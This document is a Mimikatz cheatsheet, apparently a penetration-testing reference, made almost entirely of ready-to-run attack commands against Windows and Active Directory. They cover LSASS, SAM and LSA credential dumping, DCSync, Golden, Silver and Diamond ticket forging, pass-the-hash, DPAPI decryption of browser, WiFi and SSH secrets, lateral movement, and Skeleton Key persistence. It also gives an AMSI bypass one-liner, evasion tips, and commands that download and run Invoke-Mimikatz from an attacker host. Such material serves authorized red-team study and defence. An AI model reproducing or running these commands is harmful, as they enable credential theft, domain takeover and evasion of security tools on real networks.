Mimikatz cheatsheet

# Classic two-step: enable debug privilege, dump all credentials
mimikatz # privilege::debug
# Output: Privilege '20' OK  (SeDebugPrivilege enabled)

mimikatz # sekurlsa::logonpasswords
# Dumps NTLM hashes, Kerberos tickets, WDigest cleartext,
# TSPKG, SSP, LiveSSP, and Credential Manager passwords
# for every logged-on session

# Download latest release (pre-compiled)
# https://github.com/gentilkiwi/mimikatz/releases

# Compile from source (Visual Studio)
git clone https://github.com/gentilkiwi/mimikatz.git
# Open mimikatz.sln in Visual Studio
# Build -> Build Solution (x64/Release)

# Verify binary
mimikatz # version
# mimikatz 2.2.0 (arch) "A La Vie, A L'Amour"

# 1. Direct execution (interactive)
mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # exit

# 2. One-liner with command chaining
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# 3. PowerShell Invoke-Mimikatz (reflective PE injection)
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

# 4. PsExec as SYSTEM (no need for privilege::debug)
PsExec.exe -s -i mimikatz.exe "sekurlsa::logonpasswords" "exit"

# 5. From a Meterpreter session
meterpreter > load kiwi
meterpreter > creds_all

# 6. Dump LSASS offline (avoid direct execution on target)
# On target: create minidump
rundll32.exe comsvcs.dll, MiniDump (Get-Process lsass).Id C:\temp\lsass.dmp full
# On attacker: parse dump
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

# WDigest cleartext caching is disabled by default on
# Windows 8.1+ and Server 2012 R2+.
# Re-enable it (requires admin, user must re-authenticate):

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

# Force user to lock screen and re-enter password:
rundll32.exe user32.dll,LockWorkStation

# Then dump cleartext passwords:
mimikatz # privilege::debug
mimikatz # sekurlsa::wdigest
# Now shows plaintext credentials for users who logged in
# after the registry change

# Disable after (cleanup):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

# General pattern
mimikatz # module::command [/option:value]

# Log output to file
mimikatz # log mimikatz_output.txt
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # log          # stop logging

# Execute from batch (non-interactive)
mimikatz.exe "log output.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Dump only NTLM hashes (MSV1_0 provider)
# Faster than logonpasswords, less noisy
mimikatz # sekurlsa::msv

# Output: LM and NT hashes only
# * NTLM     : 64f12cddaa88057e06a81b54e73b949b
# * SHA1     : cba4e545b7ec918129725154b29f055e4cd5aea8

# Extract WDigest credentials (plaintext if enabled)
mimikatz # sekurlsa::wdigest

# Returns cleartext passwords only if:
# - Windows 7/2008 R2 (enabled by default)
# - Or UseLogonCredential = 1 on newer OS
# - User authenticated AFTER WDigest was enabled

# Dump Kerberos credentials and tickets from LSASS
mimikatz # sekurlsa::kerberos

# Shows:
# - Kerberos plaintext passwords (if available)
# - Kerberos encryption keys (AES256, AES128, RC4/NTLM)
# - Current TGT and service tickets

# Dump Kerberos encryption keys for all logon sessions
mimikatz # sekurlsa::ekeys

# Output includes:
# - AES256_HMAC key (32 bytes)
# - AES128_HMAC key (16 bytes)
# - RC4_HMAC_NT key (same as NTLM hash)
# - DES_CBC_MD5 key (legacy)
# Useful for Overpass-the-Hash with AES keys

# Extract DPAPI master key cache from LSASS
# These are decrypted master keys currently in memory
mimikatz # sekurlsa::dpapi

# Output: GUID -> masterkey pairs
# Can be used to decrypt DPAPI blobs without user password

# Export all Kerberos tickets from memory to .kirbi files
mimikatz # sekurlsa::tickets /export

# Exports TGTs and service tickets for ALL logon sessions
# Files saved as: [session]-[number]-[type]-[service].kirbi
# Example: 0-1-0-40e10000-jdoe@krbtgt~CORP.LOCAL.kirbi

# These .kirbi files can be injected with kerberos::ptt

# Dump Credential Manager passwords from LSASS memory
mimikatz # sekurlsa::credman

# Shows stored credentials for:
# - Web passwords (saved in IE/Edge)
# - Network resources (SMB, RDP saved creds)
# - Generic credentials

# Analyze an LSASS minidump file offline
# Step 1: Create the dump on target
# Method A: Task Manager -> lsass.exe -> Create dump file
# Method B: Using comsvcs.dll
rundll32.exe comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\debug.dmp full

# Method C: Using ProcDump
procdump.exe -ma lsass.exe lsass.dmp

# Step 2: Exfiltrate the dump to attacker machine
# Step 3: Parse offline with mimikatz
mimikatz # sekurlsa::minidump lsass.dmp
# Switch to MINIDUMP
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::ekeys
mimikatz # sekurlsa::dpapi

# Dump local SAM database (local account hashes)
# Requires SYSTEM or local admin
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam

# Output: RID, username, NTLM hash for each local account
# User : Administrator
# Hash NTLM: 64f12cddaa88057e06a81b54e73b949b

# From an offline SAM + SYSTEM hive backup:
mimikatz # lsadump::sam /sam:C:\backup\SAM /system:C:\backup\SYSTEM

# Reg save method (on target):
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
# Then parse offline

# Dump LSA secrets (service account passwords, auto-logon, etc.)
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::secrets

# Reveals:
# - Service account plaintext passwords
# - DPAPI system master keys
# - DefaultPassword (auto-logon creds)
# - NL$KM (cached logon encryption key)
# - Machine account password ($MACHINE.ACC)

# From offline SECURITY + SYSTEM hives:
mimikatz # lsadump::secrets /security:C:\backup\SECURITY /system:C:\backup\SYSTEM

# Dump cached domain logons (DCC2 / MS-CACHEv2)
# Cached creds from last N domain logons (default 10)
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::cache

# Output format: DCC2 hash
# User     : jdoe
# MsCacheV2: $DCC2$10240#jdoe#a4f49c406510bdcab6824ee7c30fd852

# These can be cracked offline with hashcat:
# hashcat -m 2100 dcc2_hashes.txt wordlist.txt

# Patch LSASS process to dump credentials
# Alternative to DCSync - runs on the DC itself
mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch

# Dumps NT hashes for ALL domain accounts
# Less stealthy than DCSync (modifies LSASS memory)

# Inject specific DLL
mimikatz # lsadump::lsa /inject /name:krbtgt

# Dump inter-domain/inter-forest trust keys
# Run on a Domain Controller
mimikatz # privilege::debug
mimikatz # lsadump::trust /patch

# Output: trust keys (RC4/NTLM and AES) for each trust
# Direction, partner domain, trust key
# Used for: inter-realm Golden Tickets, SID History attacks

# With DCSync (remote, no patch needed):
mimikatz # lsadump::dcsync /domain:corp.local /user:child$
# Retrieves machine account hash for trust account

# Retrieve DPAPI domain backup keys from the DC
# Requires Domain Admin privileges
mimikatz # lsadump::backupkeys /system:dc01.corp.local /export

# Exports:
# - PVK file (legacy DPAPI backup key)
# - PFX file (preferred DPAPI backup key)
# These keys can decrypt ANY user's DPAPI master key
# in the domain - extremely powerful for credential theft

# Silver Ticket: forge a TGS for a specific service
# Requires: service account NTLM hash or AES key
# Does NOT contact the DC (harder to detect)

# Forge CIFS (SMB) service ticket
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:fileserver.corp.local /service:cifs /rc4:b7268361386090314acce8d9367e55f55865e7ef8e670fbe /ptt

# Forge HTTP (web service) ticket
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:webserver.corp.local /service:http /rc4:HASH /ptt

# Forge LDAP service ticket (for DCSync without DA)
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:dc01.corp.local /service:ldap /rc4:DC_MACHINE_HASH /ptt

# Forge HOST (PSExec, schtasks, WMI)
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:dc01.corp.local /service:host /rc4:HASH /ptt

# Common service SPNs:
# cifs   - SMB file access (dir \\server\share)
# http   - Web services, WinRM
# ldap   - LDAP operations, DCSync
# host   - PSExec, schtasks, WMI
# mssql  - SQL Server access
# rpcss  - DCOM / WMI remote
# wsman  - WinRM / PS Remoting

# Parameters specific to Silver Ticket:
# /target:   Target server FQDN
# /service:  Service name (SPN prefix)
# /rc4:      Service account NTLM hash
# /aes256:   Service account AES256 key (stealthier)

# List cached Kerberos tickets
mimikatz # kerberos::list

# Purge all cached tickets
mimikatz # kerberos::purge

# Pass-the-Ticket: inject a .kirbi file
mimikatz # kerberos::ptt golden.kirbi
mimikatz # kerberos::ptt C:\tickets\silver_cifs.kirbi

# Convert between .kirbi and .ccache (for Linux tools)
# kirbi to ccache (use on Linux with impacket):
python3 ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache

# ccache to kirbi (for use with mimikatz):
python3 ticketConverter.py ticket.ccache ticket.kirbi

# Diamond Ticket: request a real TGT, then modify the PAC
# Advantages: legitimate AS-REQ in DC logs, valid PAC structure
# Harder to detect than Golden Ticket

# Using Rubeus (mimikatz does not natively support Diamond Tickets):
Rubeus.exe diamond /krbkey:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4e62201f3 /user:jdoe /password:P@ssw0rd /enctype:aes /domain:corp.local /dc:dc01.corp.local /ticketuser:Administrator /ticketuserid:500 /groups:512 /ptt

# Parameters:
# /krbkey:       krbtgt AES256 key
# /user:         Legitimate user for AS-REQ
# /password:     That user's password
# /ticketuser:   User to impersonate in the PAC
# /ticketuserid: RID to set in modified PAC
# /groups:       Group RIDs to inject

# The flow:
# 1. Authentic AS-REQ to DC with real credentials
# 2. Receive legitimate TGT with valid PAC
# 3. Decrypt TGT using krbtgt key
# 4. Modify PAC (change user, groups, privileges)
# 5. Re-encrypt TGT - now has valid structure but forged PAC

# Overpass-the-Hash: use NTLM hash to request Kerberos TGT
# Stealthier than PTH because it uses Kerberos (not NTLM auth)

# With NTLM hash (RC4 Kerberos key)
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:jdoe /domain:corp.local /ntlm:64f12cddaa88057e06a81b54e73b949b /run:powershell.exe

# With AES256 key (best OPSEC - no RC4 downgrade alert)
mimikatz # sekurlsa::pth /user:jdoe /domain:corp.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4e62201f3 /run:powershell.exe

# In the spawned shell, trigger Kerberos authentication:
klist                          # should show no tickets yet
net use \\dc01.corp.local\C$   # triggers TGT request
klist                          # now shows TGT + service ticket

# The key difference from PTH:
# PTH   -> NTLM auth directly (detected by NTLM logon events)
# OPtH  -> NTLM hash used to get Kerberos TGT (Kerberos auth)

# Decrypt Chrome stored passwords
# Requires: user's DPAPI master key (from sekurlsa::dpapi or backup key)
mimikatz # dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data"

# With master key directly:
mimikatz # dpapi::chrome /in:"C:\Users\jdoe\AppData\Local\Google\Chrome\User Data\Default\Login Data" /masterkey:MASTERKEY_HEX

# Chrome cookies:
mimikatz # dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies" /unprotect

# Decrypt DPAPI credential files
# Location: %APPDATA%\Microsoft\Credentials\*

# List credential files
dir /a %APPDATA%\Microsoft\Credentials\

# Decrypt with known master key
mimikatz # dpapi::cred /in:"C:\Users\jdoe\AppData\Roaming\Microsoft\Credentials\GUID" /masterkey:MASTERKEY_HEX

# Decrypt with domain backup key (any user's creds)
mimikatz # dpapi::cred /in:CREDFILE /pvk:domain_backupkey.pvk

# Decrypt Windows Vault credentials
# Stores: web credentials, Windows credentials

# List vault directories
dir /a %APPDATA%\Microsoft\Vault\

# Decrypt vault
mimikatz # dpapi::vault /cred:"C:\Users\jdoe\AppData\Local\Microsoft\Vault\GUID\VCRD_FILE"

# Decrypt saved WiFi passwords (WPA/WPA2 PSK)
# WiFi profiles: C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{GUID}\*.xml

# Decrypt WiFi credentials
mimikatz # dpapi::wifi /in:"C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{GUID}\{PROFILE}.xml"

# With SYSTEM master key (WiFi creds are machine-level DPAPI)
mimikatz # dpapi::wifi /in:WIFI_PROFILE /unprotect

# Decrypt Remote Desktop Gateway saved passwords
# RDG files: *.rdg (XML format with encrypted passwords)

mimikatz # dpapi::rdg /in:"C:\Users\jdoe\Documents\servers.rdg" /masterkey:MASTERKEY_HEX

# Or with domain backup key:
mimikatz # dpapi::rdg /in:servers.rdg /pvk:domain_backupkey.pvk

# Also check for .rdp files with saved passwords:
# Look for "password 51:b:" in .rdp files
mimikatz # dpapi::rdp /in:connection.rdp

# Decrypt OpenSSH private keys protected by DPAPI
# Location: %USERPROFILE%\.ssh\*

mimikatz # dpapi::ssh /in:"C:\Users\jdoe\.ssh\id_rsa" /masterkey:MASTERKEY_HEX

# Works on Windows OpenSSH keys that are DPAPI-protected
# (keys generated with ssh-keygen on Windows)

# Enable SeDebugPrivilege for current process
# Required for accessing LSASS and most sekurlsa commands
mimikatz # privilege::debug
# Output: Privilege '20' OK

# Check current privileges
mimikatz # privilege::id 20
# 20 = SeDebugPrivilege

# Other useful privileges
mimikatz # privilege::name SeImpersonatePrivilege
mimikatz # privilege::name SeBackupPrivilege
mimikatz # privilege::name SeRestorePrivilege

# Impersonate SYSTEM token (required for SAM/LSA dumps)
mimikatz # token::elevate
# Output: Token Id  : 0  ->  Impersonating : NT AUTHORITY\SYSTEM

# Elevate to a specific token
mimikatz # token::elevate /domainadmin   # find and use DA token
mimikatz # token::elevate /admin          # find and use local admin token
mimikatz # token::elevate /id:0           # use SYSTEM token (id 0)

# Revert to original token
mimikatz # token::revert

# Show current token identity
mimikatz # token::whoami

# List all available tokens
mimikatz # token::list
# Shows: Token ID, User, Impersonation Level

# Lookup SID for a user or group
mimikatz # sid::lookup /name:Administrator
mimikatz # sid::lookup /sid:S-1-5-21-...-500

# Patch ntds.dit for SID History injection
# Adds a SID to the SID History attribute of a user
# Allows cross-domain privilege escalation
mimikatz # sid::patch
# Then modify SID History attribute
mimikatz # sid::add /sam:targetuser /new:S-1-5-21-...-500

# Well-known SIDs:
# S-1-5-18           = SYSTEM
# S-1-5-21-...-500   = Domain Administrator
# S-1-5-21-...-502   = krbtgt
# S-1-5-21-...-512   = Domain Admins group
# S-1-5-21-...-519   = Enterprise Admins group

# Patch CryptoAPI to make all keys exportable
# After patching, private keys that were marked non-exportable
# can be exported via crypto::certificates
mimikatz # privilege::debug
mimikatz # crypto::capi

# Output: Local CryptoAPI patched
# Now export certificates with private keys:
mimikatz # crypto::certificates /systemstore:local_machine /export

# Relevance to ADCS attacks:
# If a template allows enrollment and has a non-exportable key,
# this patch lets you export the private key anyway

# Patch CNG (Cryptography Next Generation) for exportable keys
# CNG is the modern replacement for CryptoAPI
mimikatz # privilege::debug
mimikatz # crypto::cng

# Output: "KeyIso" service patched
# Now CNG-based keys can be exported

# Export certificates from system stores
# Lists and exports all certificates with their private keys

# From local machine store
mimikatz # crypto::certificates /systemstore:local_machine /export

# From current user store
mimikatz # crypto::certificates /export

# Exports .pfx (certificate + private key) and .der files
# Default export password: mimikatz

# Specific store
mimikatz # crypto::certificates /systemstore:local_machine /store:my /export

# Export cryptographic keys (CryptoAPI and CNG)
# Lists all keys in key storage providers

# CryptoAPI keys
mimikatz # crypto::keys /export

# CNG keys
mimikatz # crypto::keys /cng /export

# Machine keys
mimikatz # crypto::keys /machine /export

# Start a new session using NTLM hash
# Uses NTLM authentication protocol
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:64f12cddaa88057e06a81b54e73b949b /run:cmd.exe

# In the spawned cmd - access remote resources:
dir \\dc01.corp.local\C$                           # SMB access
PsExec.exe \\dc01.corp.local cmd.exe               # Remote shell
wmic /node:dc01.corp.local process call create "cmd"  # WMI exec

# For local admin accounts (use /domain:. or hostname)
mimikatz # sekurlsa::pth /user:Administrator /domain:. /ntlm:HASH /run:cmd.exe

# Use NTLM hash to get Kerberos TGT (stealthier than PTH)
mimikatz # sekurlsa::pth /user:jdoe /domain:corp.local /aes256:AES256KEY /run:powershell.exe

# In spawned PowerShell, trigger Kerberos auth:
Invoke-Command -ComputerName dc01.corp.local -ScriptBlock { whoami }
Enter-PSSession -ComputerName dc01.corp.local

# Or with NTLM hash (less stealthy, RC4 encryption):
mimikatz # sekurlsa::pth /user:jdoe /domain:corp.local /ntlm:HASH /run:cmd.exe
# Then use Kerberos-authenticated tools from spawned shell

# Inject a .kirbi ticket into the current session
mimikatz # kerberos::ptt ticket.kirbi

# Export all tickets from memory, then inject on another host
mimikatz # sekurlsa::tickets /export
# Copy .kirbi to attacker machine
mimikatz # kerberos::ptt 0-1-0-40e10000-jdoe@krbtgt~CORP.LOCAL.kirbi

# Verify injected ticket
klist

# Use injected ticket for access
dir \\dc01.corp.local\C$

# Invoke-Mimikatz: reflective PE injection (no file on disk)
# Download and execute in memory:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

# From a base64-encoded version:
$data = [Convert]::FromBase64String((Get-Content encoded_mimi.txt))
$assembly = [Reflection.Assembly]::Load($data)
[Mimikatz]::Main("privilege::debug","sekurlsa::logonpasswords")

# SafeKatz: minidump LSASS + parse with mimikatz in memory
# Avoids touching LSASS with mimikatz directly
SafeKatz.exe

# SharpKatz: C# implementation (in-memory, .NET assembly)
execute-assembly SharpKatz.exe --Command logonpasswords

# AMSI (Anti-Malware Scan Interface) blocks PowerShell payloads
# Bypass options (run before Invoke-Mimikatz):

# 1. PowerShell AMSI bypass (basic, commonly signatured)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# 2. Obfuscate the bypass itself to avoid signatures
# Use tools: Invoke-Obfuscation, AMSITrigger, amsi.fail

# 3. Use .NET assemblies instead of PowerShell
# Load SharpKatz or SafeKatz via execute-assembly

# 4. Patch ETW (Event Tracing for Windows) to reduce telemetry
# Complements AMSI bypass for in-memory execution

# Binary obfuscation for on-disk execution:
# - Recompile mimikatz from source with string modifications
# - Use packers: UPX (weak), custom PE crypters
# - Modify PE headers and section names
# - Syscall-based loaders to avoid user-mode hooks

# Windows Credential Guard (VBS/Hyper-V based isolation)
# Protects: NTLM hashes, Kerberos TGTs, DPAPI master keys
# When enabled: sekurlsa::logonpasswords returns empty/partial results

# Check if Credential Guard is enabled:
# Look for: Credential Guard: Running
systeminfo | findstr /i "credential"
Get-ComputerInfo | select DeviceGuardSecurityServicesRunning

# Limitations / what still works:
# - Kerberoasting (doesn't need LSASS secrets)
# - DPAPI with domain backup key
# - DCSync (network-based, not LSASS)
# - SAM dump (local accounts not protected)
# - Cached domain logons (lsadump::cache)
# - Silver/Golden tickets (need hashes from other sources)

# Potential bypasses (very difficult on modern builds):
# - Firmware attacks on VBS
# - Disable via Group Policy (requires admin)
# - Extract from VM memory (if running in a VM)

# pypykatz: Python implementation (runs on Linux)
# Parse LSASS dump without running mimikatz
pip3 install pypykatz
pypykatz lsa minidump lsass.dmp         # parse minidump
pypykatz registry --sam SAM --system SYSTEM  # offline SAM

# Rubeus: C# Kerberos toolkit (better OPSEC for Kerberos ops)
Rubeus.exe dump                         # dump tickets
Rubeus.exe asktgt /user:x /rc4:HASH    # request TGT
Rubeus.exe ptt /ticket:ticket.kirbi     # inject ticket
Rubeus.exe kerberoast                   # Kerberoasting
Rubeus.exe s4u /user:x /rc4:HASH /impersonateuser:admin /msdsspn:cifs/target  # S4U

# SharpDPAPI: C# DPAPI toolkit
SharpDPAPI.exe triage                   # triage all DPAPI secrets
SharpDPAPI.exe masterkeys /pvk:backup.pvk  # decrypt with backup key

# Impacket: Python toolkit for SMB/Kerberos/DCSync
secretsdump.py corp.local/admin:pass@dc01  # DCSync equivalent
getTGT.py corp.local/user -hashes :NTLM    # request TGT with hash
ticketer.py -nthash HASH -domain-sid SID -domain corp.local fakeuser  # Golden Ticket

# Scenario: you have NTLM hash, need to pivot through network

# 1. Overpass-the-Hash to get Kerberos TGT (stealthier)
mimikatz # sekurlsa::pth /user:svc_backup /domain:corp.local /aes256:AES_KEY /run:powershell.exe

# 2. In spawned PowerShell, enumerate access
Invoke-Command -ComputerName server01,server02,dc01 -ScriptBlock { hostname }

# 3. Remote into target with WinRM
Enter-PSSession -ComputerName server02.corp.local

# 4. On server02, dump new credentials
# Upload mimikatz or use Invoke-Mimikatz
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

# 5. Repeat: use new credentials to access more systems
# Build a credential map until DA is found

# After compromise: establish long-term persistence

# 1. DCSync krbtgt (save hash securely)
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
# Save: krbtgt NTLM + AES256 + domain SID

# 2. Generate Golden Ticket with realistic parameters
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /aes256:AES256_KEY /id:500 /groups:512,513,518,519,520 /startoffset:-10 /endin:600 /renewmax:10080 /ticket:golden.kirbi

# 3. Save the .kirbi file securely (offline, encrypted)
# Can be re-injected at any time as long as krbtgt hash unchanged

# 4. To use later (even from a non-domain machine):
mimikatz # kerberos::ptt golden.kirbi
dir \\dc01.corp.local\C$

# 5. Detection note: Golden Ticket survives password resets
# except krbtgt. To invalidate: reset krbtgt password TWICE
# (krbtgt keeps last 2 passwords for ticket validation)

# 6. Alternative persistence: Skeleton Key
# Patches LSASS on DC - any password authenticates as any user
mimikatz # privilege::debug
mimikatz # misc::skeleton
# Now "mimikatz" works as password for ANY domain account
# Lost on DC reboot - not persistent across restarts

# Full DPAPI workflow: extract all secrets for a user

# 1. Get domain DPAPI backup key (requires DA)
mimikatz # lsadump::backupkeys /system:dc01.corp.local /export

# 2. Find user's master keys
dir /a C:\Users\jdoe\AppData\Roaming\Microsoft\Protect\S-1-5-21-*\

# 3. Decrypt master keys with domain backup key
mimikatz # dpapi::masterkey /in:"C:\Users\jdoe\...\Protect\SID\GUID" /pvk:domain_backupkey.pvk

# 4. Dump all the things with decrypted master key
mimikatz # dpapi::chrome /in:"...\Login Data" /masterkey:KEY
mimikatz # dpapi::cred /in:"...\Credentials\GUID" /masterkey:KEY
mimikatz # dpapi::wifi /in:"...\Wlansvc\...\profile.xml"
mimikatz # dpapi::rdg /in:"...\servers.rdg" /masterkey:KEY

# 5. Or use SharpDPAPI for automated triage
SharpDPAPI.exe triage /pvk:domain_backupkey.pvk

• Mimikatz GitHub
• Mimikatz Wiki
• AD Security Mimikatz Guide
• The Hacker Recipes
• HackTricks - Mimikatz
• PayloadsAllTheThings
• pypykatz GitHub
• Rubeus GitHub

• BloodHound (AD attack paths)
• NetExec (SMB/WinRM/LDAP)
• Certipy (ADCS attacks)
• Hashcat (Password cracking)
• Metasploit (Exploitation framework)
• AD Toolkit (Active Directory tools)
• Shellcode Injection (In-memory execution)